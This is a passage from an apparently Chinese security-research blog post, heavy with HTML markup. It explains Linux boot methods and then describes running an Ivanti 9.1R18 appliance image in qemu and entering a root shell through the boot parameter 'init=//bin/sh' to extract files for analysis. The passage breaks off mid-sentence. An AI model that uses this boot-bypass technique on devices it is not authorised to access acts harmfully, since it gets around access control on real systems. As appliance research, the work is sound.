0px;white-space: nowrap;"><span leaf=""> UEFI 固件直接读取 GPT 分区表中的 ESP（EFI System Partition，通常为 FAT32 格式）。</span><span leaf=""><br/></span><span leaf=""> 从 ESP 加载 EFI 应用程序（如 grubx64.efi 或 vmlinuz.efi）。</span><span leaf=""><br/></span><span leaf=""> EFI 应用程序加载内核并启动系统。</span></code></pre><span leaf="">工具：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf=""> GRUB2：支持 UEFI，需安装到 ESP 分区。</span><span leaf=""><br/></span><span leaf=""> systemd-boot（原 gummiboot）：轻量级 UEFI 引导程序，集成于 systemd。</span><span leaf=""><br/></span><span leaf=""> rEFInd：第三方 UEFI 引导管理器，支持自动检测多系统内核。</span><span leaf=""><br/></span><span leaf=""> 直接 EFI 启动：通过 efibootmgr 配置 UEFI 直接加载 Linux 内核（vmlinuz）。</span></code></pre></section></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">3. 网络引导（PXE）适用场景：无盘工作站、批量部署服务器。引导流程：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">客户端通过网卡 PXE 固件从 DHCP 服务器获取 IP 和 TFTP 服务器地址。</span><span leaf=""><br/></span><span leaf="">下载引导文件（如 pxelinux.0）和内核镜像。</span><span leaf=""><br/></span><span leaf="">加载内核并启动系统（可能挂载网络文件系统如 NFS）。</span></code></pre><span leaf="">工具：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">PXELINUX（SYSLINUX 分支）：配置 TFTP 服务器提供引导文件。</span><span leaf=""><br/></span><span leaf="">GRUB2：支持网络引导（HTTP、TFTP 等协议）。</span></code></pre></section></li></ol><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在目前设备虚拟机以及笔者的研究经历中，主要面对过有</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">LILO (Linux Loader)</span></code><span leaf="">以及</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GRUB2</span></code><span leaf="">。后续的内容也将围绕这两者进行介绍。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">LILO (Linux Loader)</span></h2><span leaf="">此处以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ivanti 9.1r18.x</span></code><span leaf="">为例，虚拟机启动之后会进入</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">LILO bootloader</span></code><span leaf="">界面，里面会呈现</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">current</span></code><span leaf="">,</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rollback</span></code><span leaf="">,</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">factory-reset</span></code><span leaf="">等三个分区（视不同情况呈现不同）。</span><span leaf=""><br/></span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><br/></span></figure></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008352" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6827094474153298" data-s="300,640" data-type="png" data-w="1122" style="width:518px;height:354px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6bf41127&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRQv69LRH0CNzqHJ78nYYYKe56FfLxUHPxuyH7Mae4G2RNlx1bznZeMA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><br/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">虚拟机启动</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">目前网上公开的针对</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ivanti 9.x</span></code><span leaf="">系列的分析文章主要以入侵取证为主，因此分析目标以硬件设备为主，工具主要为qemu，通过qemu加载其硬盘img镜像的方法来分析其磁盘加密的方式。在我们的研究中，较为方便的是运行vmware虚拟机，但是在研究过程中发现以qemu的方式对机器性能依赖更少，将vmware vmdk磁盘转为img镜像也很方便，使用以下命令即可</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">qemu-img convert -O raw PSA-V-VMWARE-ICS-9.1.R18.xxxxxx-VT-disk1.vmdk test.img</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">qemu虚拟机的启动命令为(virtio-net网络)</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">qemu-system-x86_64 -serial stdio -device ich9-ahci,id=ahci -drive file=test.img,id=disk,if=none -device ide-hd,drive=disk,bus=ahci.0 </span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><br/></span></figure></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008351" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30078125" data-s="300,640" data-type="png" data-w="1280" style="width:536px;height:161px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=ec5d6d2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRl4XU6nuficsmJcPeZFS6oE6s8Ng2LITbXDFtyTdHsicfkYo1Cibk5Zdlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><br/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">系统进入、及网络配置</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">目前ivanti官方已经停止对9.x系列维护，因此使用熟知的&#34;init=//bin/sh&#34;方式即可进入初始化文件系统，键入的时机在qemu启动下较为明显，启动后的光标处即可；在vmware中，通过↑↓选择</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">current</span></code><span leaf="">后，直接键盘键入即可（虽无提示）</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008375" class="rich_pages wxw-img" data-ratio="0.7981481481481482" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=63c2331c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRO8T3D9Q7a9tVKV4icZdyIHvuqrwnPzvOicXX3mbseBKNgeHkLGNibOoKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></section><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100008350" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.79765625" data-s="300,640" data-type="png" data-w="1280" style="width:440px;height:351px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b76152a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRsOzgDVcoEk6fdMjibZtcVwn20VjF8icd8maOrrT23j4S51BZtbf6ePbQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><br/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入初始化文件系统后，已经可对感兴趣的文件、硬盘分区进行本地获取，因此现阶段需解决与host主机网络通信。在该文件系统中，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, 